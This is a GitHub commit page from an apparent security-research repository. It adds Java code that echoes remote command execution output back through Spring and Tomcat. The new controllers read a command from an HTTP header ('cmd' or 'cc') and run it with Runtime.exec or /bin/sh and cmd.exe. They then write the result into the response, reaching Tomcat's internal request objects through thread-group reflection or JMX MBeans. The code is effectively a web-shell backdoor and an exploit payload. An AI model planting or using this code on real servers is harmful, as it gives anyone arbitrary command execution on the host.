Skip to content

Commit 9960112

Browse files
committed
TomcatEcho
1 parent 4c42d14 commit 9960112

File tree

4 files changed

+203
-80
lines changed

4 files changed

+203
-80
lines changed
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
package summersec.echo.Controller;
2+
3+
import org.springframework.stereotype.Controller;
4+
//import com.management.bean.User;
5+
import org.springframework.web.bind.annotation.RequestMapping;
6+
import org.springframework.web.bind.annotation.RequestMethod;
7+
import org.springframework.web.bind.annotation.ResponseBody;
8+
import java.io.*;
9+
10+
/**
11+
* @ClassName: SpringMVCTestController
12+
* @Description: TODO
13+
* @Author: Summer
14+
* @Date: 2021/6/17 18:25
15+
* @Version: v1.0.0
16+
* @Description:
17+
**/
18+
@Controller
19+
class SpringEcho {
20+
@ResponseBody
21+
@RequestMapping(value="/echo", method = RequestMethod.GET)
22+
public SpringEcho Test() throws IOException {
23+
24+
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
25+
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
26+
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
27+
28+
String cmd = httprequest.getHeader("cmd");
29+
if(cmd != null && !cmd.isEmpty()){
30+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
31+
httpresponse.getWriter().println(res);
32+
}
33+
34+
return new SpringEcho();
35+
}
36+
}

Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/TomcatEcho.java

Lines changed: 24 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99
* @Author: Summer
1010
* @Date: 2021/6/16 17:16
1111
* @Version: v1.0.0
12-
* @Description:
12+
* @Description: header cc: "cmd"
1313
**/
1414
@Controller
1515
public class TomcatEcho {
@@ -27,53 +27,76 @@ public String two(){
2727
}
2828
@RequestMapping(value = "DEMO")
2929
public void DEMO()throws Exception {
30+
// flag 标记作用
3031
boolean flag = false;
32+
// 获取当前线程组
3133
ThreadGroup group = Thread.currentThread().getThreadGroup();
34+
// 反射获取字段threads
3235
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
3336
f.setAccessible(true);
37+
// f.get(group) 获取 threads 线程中数组对象
3438
Thread[] threads = (Thread[]) f.get(group);
3539
for (int i = 0; i < threads.length; i++) {
40+
//14
3641
try {
3742
Thread t = threads[i];
3843
if (t == null) {
3944
continue;
4045
}
46+
4147
String str = t.getName();
48+
//http-nio-8090-BlockPoller continue NoSuchField异常 i=3
4249
if (str.contains("exec") || !str.contains("http")) {
4350
continue;
4451
}
52+
//str = http-nio-8090-ClientPoller 进入下面 ps: i=14
53+
// java.lang.Thread
4554
f = t.getClass().getDeclaredField("target");
4655
f.setAccessible(true);
56+
// obj -> NioEndpoint$Poller实例化对象
4757
Object obj = f.get(t);
58+
// NioEndpoint$Poller implements Runnable
4859
if (!(obj instanceof Runnable)) {
4960
continue;
5061
}
62+
// this$0 是NioEndpoint对象
5163
f = obj.getClass().getDeclaredField("this$0");
5264
f.setAccessible(true);
65+
// f.get(obj) --> org.apche.tomcat.util.net.NioEndpoint 对象
5366
obj = f.get(obj);
67+
// NioEndpoint extends AbstractJsseEndpoint<NioChannel, SocketChannel> -->extends AbstractEndpoint$Handler
68+
// AbstractEndpoint$Handler 是一个接口,在org.apche.coyote.AbstractProtocol$ConnectionsHanhler实现
5469
try {
5570
f = obj.getClass().getDeclaredField("handler");
5671
} catch (NoSuchFieldException e) {
5772
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
5873
}
74+
// obj --> org.apche.coyote.AbstractProtocol$ConnectionsHanhler
5975
f.setAccessible(true);
6076
obj = f.get(obj);
6177
try {
6278
f = obj.getClass().getSuperclass().getDeclaredField("global");
6379
} catch (NoSuchFieldException e) {
80+
// AbstractProtocol$ConnectionsHanhler
6481
f = obj.getClass().getDeclaredField("global");
6582
}
83+
// obj --> org.apche.coyote.RequestGroupInfo
6684
f.setAccessible(true);
6785
obj = f.get(obj);
6886
f = obj.getClass().getDeclaredField("processors");
6987
f.setAccessible(true);
88+
// processors --> List<RequestInfo>
7089
java.util.List processors = (java.util.List) (f.get(obj));
90+
// processors.size() == 1
7191
for (int j = 0; j < processors.size(); ++j) {
7292
Object processor = processors.get(j);
7393
f = processor.getClass().getDeclaredField("req");
7494
f.setAccessible(true);
95+
// org.apche.coyote.Request
7596
Object req = f.get(processor);
97+
// org.apche.coyote.Response
7698
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
99+
// header cc: "cmd"
77100
str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"CC"});
78101
if (str != null && !str.isEmpty()) {
79102
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
package summersec.echo.Controller;
2+
3+
import com.sun.jmx.mbeanserver.NamedObject;
4+
import org.apache.tomcat.util.modeler.Registry;
5+
import org.springframework.stereotype.Controller;
6+
import org.springframework.web.bind.annotation.RequestMapping;
7+
8+
import com.sun.jmx.mbeanserver.NamedObject;
9+
import com.sun.jmx.mbeanserver.Repository;
10+
import com.sun.org.apache.xalan.internal.xsltc.DOM;
11+
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
12+
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
13+
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
14+
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
15+
import org.apache.coyote.Request;
16+
import org.apache.tomcat.util.modeler.Registry;
17+
18+
import javax.management.DynamicMBean;
19+
import javax.management.MBeanServer;
20+
import javax.management.ObjectName;
21+
import java.io.InputStream;
22+
import java.lang.reflect.Field;
23+
import java.nio.ByteBuffer;
24+
import java.util.*;
25+
26+
/**
27+
* @ClassName: TomcatEcho2
28+
* @Description: TODO
29+
* @Author: Summer
30+
* @Date: 2021/6/17 17:13
31+
* @Version: v1.0.0
32+
* @Description: https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Tomcat/code/TomcatEchoTypeB-%E5%85%A8%E7%89%88%E6%9C%AC.jsp
33+
* httpheader cc: "cmd"
34+
**/
35+
@Controller
36+
public class TomcatEcho2 {
37+
38+
@RequestMapping(value = "TomcatEcho2")
39+
public String TomcatEcho2(){
40+
return "TomcatEcho2";
41+
42+
}
43+
@RequestMapping(value = "DEMO2")
44+
public void DEMO2()throws Exception{
45+
boolean flag = false;
46+
javax.management.MBeanServer mbeanServer = org.apache.tomcat.util.modeler.Registry.getRegistry((Object)null, (Object)null).getMBeanServer();
47+
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
48+
field.setAccessible(true);
49+
Object obj = field.get(mbeanServer);
50+
51+
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
52+
field.setAccessible(true);
53+
Repository repository = (Repository) field.get(obj);
54+
Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:type=GlobalRequestProcessor,*"), null);
55+
for(NamedObject namedObject : objectSet){
56+
DynamicMBean dynamicMBean = namedObject.getObject();
57+
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
58+
field.setAccessible(true);
59+
obj = field.get(dynamicMBean);
60+
field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
61+
field.setAccessible(true);
62+
ArrayList procssors = (ArrayList) field.get(obj);
63+
field = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
64+
field.setAccessible(true);
65+
for(int i = 0; i < procssors.size(); i++){
66+
Request req = (Request) field.get(procssors.get(i));
67+
String cmd = req.getHeader("cc");
68+
if(cmd != null && !cmd.isEmpty()){
69+
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
70+
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
71+
byte[] result = (new Scanner((new ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter("\\A").next().getBytes(charsetName);
72+
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
73+
try {
74+
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
75+
obj = cls.newInstance();
76+
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
77+
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
78+
} catch (NoSuchMethodException var5) {
79+
Class cls = Class.forName("java.nio.ByteBuffer");
80+
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
81+
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
82+
}
83+
flag = true;
84+
}
85+
if(flag) {
86+
break;
87+
}
88+
}
89+
}
90+
}
91+
92+
93+
94+
}

Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Demo/DEMO.java

Lines changed: 49 additions & 79 deletions
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,9 @@
22

33
import org.springframework.stereotype.Controller;
44
import org.springframework.web.bind.annotation.RequestMapping;
5+
import summersec.echo.Controller.TomcatEcho;
6+
7+
import java.lang.reflect.Field;
58

69
/**
710
* @ClassName: DEMo
@@ -11,85 +14,52 @@
1114
* @Version: v1.0.0
1215
* @Description:
1316
**/
14-
@Controller
17+
//@Controller
1518
public class DEMO {
16-
// @RequestMapping(value = "DEMO")
17-
// public void DEMO()throws Exception {
18-
// boolean flag = false;
19-
// ThreadGroup group = Thread.currentThread().getThreadGroup();
20-
// java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
21-
// f.setAccessible(true);
22-
// Thread[] threads = (Thread[]) f.get(group);
23-
// for (int i = 0; i < threads.length; i++) {
24-
// try {
25-
// Thread t = threads[i];
26-
// if (t == null) {
27-
// continue;
28-
// }
29-
// String str = t.getName();
30-
// if (str.contains("exec") || !str.contains("http")) {
31-
// continue;
32-
// }
33-
// f = t.getClass().getDeclaredField("target");
34-
// f.setAccessible(true);
35-
// Object obj = f.get(t);
36-
// if (!(obj instanceof Runnable)) {
37-
// continue;
38-
// }
39-
// f = obj.getClass().getDeclaredField("this$0");
40-
// f.setAccessible(true);
41-
// obj = f.get(obj);
42-
// try {
43-
// f = obj.getClass().getDeclaredField("handler");
44-
// } catch (NoSuchFieldException e) {
45-
// f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
46-
// }
47-
// f.setAccessible(true);
48-
// obj = f.get(obj);
49-
// try {
50-
// f = obj.getClass().getSuperclass().getDeclaredField("global");
51-
// } catch (NoSuchFieldException e) {
52-
// f = obj.getClass().getDeclaredField("global");
53-
// }
54-
// f.setAccessible(true);
55-
// obj = f.get(obj);
56-
// f = obj.getClass().getDeclaredField("processors");
57-
// f.setAccessible(true);
58-
// java.util.List processors = (java.util.List) (f.get(obj));
59-
// for (int j = 0; j < processors.size(); ++j) {
60-
// Object processor = processors.get(j);
61-
// f = processor.getClass().getDeclaredField("req");
62-
// f.setAccessible(true);
63-
// Object req = f.get(processor);
64-
// Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
65-
// str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"CC"});
66-
// if (str != null && !str.isEmpty()) {
67-
// resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
68-
// String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
69-
// byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();
70-
// try {
71-
// Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
72-
// obj = cls.newInstance();
73-
// cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
74-
// resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
75-
// } catch (NoSuchMethodException var5) {
76-
// Class cls = Class.forName("java.nio.ByteBuffer");
77-
// obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
78-
// resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
79-
// }
80-
// flag = true;
81-
// }
82-
// if (flag) {
83-
// break;
84-
// }
85-
// }
86-
// if (flag) {
87-
// break;
88-
// }
89-
// } catch (Exception e) {
90-
// continue;
91-
// }
92-
// }
93-
// }
19+
static class User {
20+
public String name = " asd";
21+
public TomcatEcho tomcatEcho = null;
22+
23+
public String getName() {
24+
return name;
25+
}
26+
27+
public TomcatEcho getTomcatEcho() {
28+
return tomcatEcho;
29+
}
30+
31+
public void setTomcatEcho(TomcatEcho tomcatEcho) {
32+
this.tomcatEcho = tomcatEcho;
33+
}
34+
35+
public void setName(String name) {
36+
this.name = name;
37+
}
38+
39+
public User(String name) {
40+
this.name = name;
41+
}
42+
43+
@Override
44+
public String toString() {
45+
return "User{" +
46+
"name='" + name + '\'' +
47+
'}';
48+
}
49+
}
50+
public static void main(String[] args) {
51+
User user = new User("sadqwe");
52+
try {
53+
Field name = user.getClass().getDeclaredField("tomcatEcho");
54+
Object ob = name.get(user.getClass());
55+
String s = ob.getClass().getName();
56+
System.out.println(s);
57+
58+
} catch (NoSuchFieldException | IllegalAccessException e) {
59+
e.printStackTrace();
60+
}
61+
62+
63+
}
9464

9565
}

0 commit comments

Comments
 (0)